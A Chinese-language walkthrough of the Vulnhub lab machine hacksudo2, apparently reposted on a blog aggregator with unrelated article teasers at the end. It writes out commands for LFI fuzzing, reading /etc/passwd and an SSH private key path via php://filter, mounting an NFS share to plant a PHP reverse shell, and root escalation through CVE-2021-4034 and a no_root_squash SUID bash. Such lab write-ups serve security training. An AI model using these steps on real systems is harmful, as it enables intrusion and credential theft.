Vulnhub靶机:hacksudo2 (HackDudo)

一、介绍

运行环境:Virtualbox

攻击机:kali(10.0.2.15)

靶机:hacksudo2 (HackDudo)(10.0.2.44)

目标:获取靶机root权限和flag

靶机下载地址:https://download.vulnhub.com/hacksudo/hackdudo2.rar

二、信息收集

使用nmap主机发现靶机ip:10.0.2.44

在这里插入图片描述

使用nmap端口扫描发现,靶机开放端口:80、111、1337、2049、37205、45247、56943、60739

在这里插入图片描述

80端口:打开网站未发现可利用的功能点,查看源码也没有发现隐藏信息

在这里插入图片描述

直接使用dirsearch工具进行目录爆破

在这里插入图片描述

将爆破得到的目录和文件一个个访问,发现file.php、info.php两个文件比较可疑

在这里插入图片描述

在这里插入图片描述

根据网页上的提示,使用wfuzz工具探测,看看file.php文件是否存在文件包含LFI

wfuzz -w /usr/share/wordlists/wfuzz/general/common.txt http://10.0.2.44/file.php?FUZZ=/etc/passwd

在这里插入图片描述

发现一个参数file,浏览器访问,成功回显passwd文件内容

在这里插入图片描述

2049端口:根据nmap扫描分析2049端口开放了NFS服务,尝试查看靶机利用NFS共享的全部文件夹,发现开放/mnt/nfs文件夹

showmount -e 10.0.2.44

在这里插入图片描述

在攻击机上面创建一个文件夹/tmp/,将靶机上的共享文件挂载到该文件上面。

mount -t nfs 10.0.2.44:/mnt/nfs tmp -o nolock

在挂载成功之后我们可以通过df -h命令查看所有的本地磁盘的信息

在这里插入图片描述

查看共享文件夹里面的文件,发现flag1.txt

在这里插入图片描述

三、漏洞利用

利用文件包含漏洞读取靶机上的文件,看看有没有可利用的信息。直接读取文件,但大多数时候很多信息无法直接显示在浏览器页面上,可以将文件内容进行base64编码后显示在浏览器上,再自行解码。

http://10.0.2.44/file.php?=php://filter/convert.base64-encode/resource=file.php
尝试读取:
/home/hacksudo/.bash_history
/home/hacksudo/.bash_logout
/home/hacksudo/.bashrc
/home/hacksudo/.ssh/id_rsa

读取均未发现什么可利用的信息

想到2049端口开放了NFS服务,我们可以直接将反弹shell脚本上传到共享文件夹,然后使用文件包含漏洞包含上传的shell,反弹shell

在这里插入图片描述

访问上传的webshell,反弹shell

http://10.0.2.44/file.php?file=/mnt/nfs/php-reverse-shell.php

在这里插入图片描述

获取交互式shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

在这里插入图片描述

四、提权

方法一:

查看靶机是否存在特权文件,或可利用的具有root权限的文件,发现/usr/libexec/polkit-agent-helper-1文件

find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述

该版本的polkit存在提权漏洞CVE-2021-4034,因为靶机没有gcc环境,可以上传已经编译好的exp(因为靶机和本机运行库的版本存在很大差异,如果直接在本机编译,在靶机运行会报错,所以我是在另一个已经攻克的靶机里面进行编译的)

在这里插入图片描述

执行exp,获得root权限

在这里插入图片描述

方法二:

当服务器中存在NFS共享,且开启了no_root_squash选项时,这时如果客户端使用的是root用户,那么对于共享目录来说,该客户端就有root权限,可以使用它来提升权限。

使用攻击者本地root权限创建Suid shell。

cp /bin/bash shell
chmod u+s shell

在这里插入图片描述

回到要提权的服务器上,使用普通用户使用shell -p来获取root权限。

在这里插入图片描述

发现报错,可能是靶机的bash环境和本地的bash环境版本问题导致的

在这里插入图片描述
在这里插入图片描述

我们找到一个合适版本的bash,再次尝试,提权成功

在这里插入图片描述
在这里插入图片描述

获取flag

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/666771.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Win10下实现开机Jar启动的CICD自动化流程】

目录 在Win10下实现开机Jar启动的CICD自动化流程,可以按照以下步骤进行操作:在Win10下实现开机Jar启动的CICD自动化流程,可以按照以下步骤进行操作: 安装Java环境:确保你的计算机上已经安装Java环境,可以通过命令行运行java -version来验证Java环境是否已安装。 编写启动…

DS:时间复杂度和空间复杂度

创作不易,感谢三连! 一、算法 1.1 什么是算法 算法(Algorithm):就是定义良好的计算过程,他取一个或一组的值为输入,并产生出一个或一组值作为输出。简单来说算法就是一系列的计算步骤,用来将输入数据转化成输出结果。…

Qt---资源文件添加

Qt—资源文件添加 Qt 资源系统是一个跨平台的资源机制,用于将程序运行时所需要的资源以二进制的形式存储于可执行文件内部。如果编写的程序需要加载特定的资源,那么将其放置在资源文件中,便不需要担心文件的缺失。 1 需求 为菜单栏设置图标&…

【OpenCV人脸检测】写了个智能锁屏小工具!人离开电脑自动锁屏

文章目录 1. 写在前面2. 设计思路3. 人脸检测4. 程序实现 【作者主页】:吴秋霖 【作者介绍】:Python领域优质创作者、阿里云博客专家、华为云享专家。长期致力于Python与爬虫领域研究与开发工作! 【作者推荐】:对JS逆向感兴趣的朋…

人体生物钟程序设计(C语言)

前几年在本站发布过博文介绍人体生物钟程序的制作方法。后来发现上传后显示的博文有错漏,计算符号脱漏。这会误导读者。今修订整理重新发布,展示一下漂亮的界面设计。 人体生物钟也就是人体生物节律。人体生物节律是自然进化赋予生命的基本特征之一&…

基于uniapp+vue酒店宾馆客房民宿管理系统设计 微信小程序_54ybz

APP性能需求 (1)顾客在安卓APP页面各种操作可及时得到反馈。 (2)该平台是提供给多个用户使用的平台,用户使用之前需要注册登录。登录验证后,用户才可进行各种操作[10]。 (3)管理员、…

Redis客户端有哪些:你了解吗?

一、分类 Redis客户端工具是用来连接和管理redis服务器的软件,它们可以有不同的类型,如桌面客户端、web客户端和IDE插件。不同的客户端工具有各自的优缺点和特色,你可以根据你的需求和喜好选择合适的工具。 1、Redis 命令行工具 redis-cli官…

【洛谷】P1434滑雪

#include<iostream> #include<string.h> using namespace std;const int N 310; int h[N][N]; int f[N][N]; int n,m;int dx[4] {1,0,-1,0}, dy[4] {0,-1,0,1};int dp(int x,int y) {// 如果点(x,y)已经去到过了&#xff0c;直接返回结果就行if(f[x][y] ! -1) r…

sqli.labs靶场(29到40关)

29、第二十九关 id1 id1 尝试发现是单引号闭合&#xff0c; -1 union select 1,2,3-- -1 union select 1,2,database()-- -1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schemasecurity)-- -1 union select 1,2,(select…

Python对日期的一些操作

1. 把这种日期 Mon Jan 29 11:10:49 0800 2024 转换成 ‘2024/2/1 10:50:38’ 这里定义一个func 传入英文日期&#xff0c;返回标准日期格式 def time_formater(input_time_str): input_format %a %b %d %H:%M:%S %z %Y output_format %Y-%m-%d %H:%M:%S return dat…

69.请描述Spring MVC的工作流程?描述一下 DispatcherServlet 的工作流程?

69.请描述Spring MVC的工作流程&#xff1f;描述一下 DispatcherServlet 的工作流程&#xff1f; 核心架构的具体流程步骤如下&#xff1a; 首先用户发送请求——>DispatcherServlet&#xff0c;前端控制器收到请求后自己不进行处理&#xff0c;而是委托给其他的解析器进行…

别瞎写工具类了,Spring自带的不香吗?

前言 最近有些小伙伴&#xff0c;希望我分享一些好用的工具类&#xff0c;帮他们提升开发效率。 今天这篇文章专门跟大家一起总结一下&#xff0c;Spring框架本身自带的一些好用的工具类&#xff0c;希望对你会有所帮助。 1 Assert 很多时候&#xff0c;我们需要在代码中做判…

C#验证字符串是否包含汉字:用正则表达式 vs 用ASCII码 vs 用汉字的 Unicode 编码

目录 一、使用的方法 1.使用正则表达式验证字符串 2.使用正则表达式验证字符 3.用ASCII码判断 4.用汉字的 Unicode 编码范围判断 二、实例 1.源码 2.生成效果 验证一个字符串是否是纯汉字或者包含有汉字的前提&#xff0c;是VS编辑器的默认编码格式设置为&#xff1a;选…

Unity animator 动画实现指定时间开始播放

在我们使用Unity帧动画时&#xff0c;如用到同一个帧动画的部分动画&#xff0c;那么我们可以考虑用指定播放时间的方法实现。 如我在场景中创建一个2D帧动画&#xff0c;并创建一个2D对象使用该帧动画。 然后复制该2D对象&#xff0c;并创建一个控制脚本GameController1.cs&a…

Logback学习

logback 1、logback介绍 Logback是由log4j创始人设计的另一个开源日志组件&#xff0c;性能比log4j要好。 lockback优点&#xff1a; 内核重写、测试充分、初始化内存加载更小&#xff0c;这一切让logback性能和log4j相比有诸多倍的提升。logback非常自然地直接实现了slf4j…

聊聊并发编程,另送5本Golang并发编程新书

大家好&#xff0c;我是飞哥&#xff01; 并发编程并不是一个新话题&#xff0c;但是我觉得在近几年以及未来的时间里&#xff0c;并发编程将显得越来越重要。 为什么这样讲&#xff0c;让我们先回到一个基本的问题上来&#xff0c;为什么我们要采用并发编程&#xff1f;关于这…

【深度学习】讲透深度学习第3篇:TensorFlow张量操作(代码文档已分享)

本系列文章md笔记&#xff08;已分享&#xff09;主要讨论深度学习相关知识。可以让大家熟练掌握机器学习基础,如分类、回归&#xff08;含代码&#xff09;&#xff0c;熟练掌握numpy,pandas,sklearn等框架使用。在算法上&#xff0c;掌握神经网络的数学原理&#xff0c;手动实…

LLaMA 模型中的Transformer架构变化

目录 1. 前置层归一化&#xff08;Pre-normalization&#xff09; 2. RMSNorm 归一化函数 3. SwiGLU 激活函数 4. 旋转位置嵌入&#xff08;RoPE&#xff09; 5. 注意力机制优化 6. Group Query Attention 7. 模型规模和训练超参数 8. 分布式模型训练 前置归一化与后置…

PHP面试问题与简答

问题与简答 PHP 篇 echo、print、print_r、var_dump 区别 echo和print是语言结构、print_r和var_dump是普通函数 echo&#xff1a;输出一个或多个字符串 print&#xff1a;输出字符串 print_r&#xff1a;打印关于变量的易于理解的信息 var_dump&#xff1a;打印关于变量的…

适合大学英语搜题的软件?如何选择一款好用的大学搜题工具? #职场发展#微信#学习方法

大学生必备的搜题工具&#xff0c;专业课本习题、电子版教材、考研资料、英语四六级等考试题目也能一并搜索&#xff0c;每道题目都有详细的讲解&#xff0c;每个都堪称大学神器。 1.颐博咨询 这是一个网站 找题好用的在线搜题站,快考不限次搜题助手,问题截图搜题软件,练题通…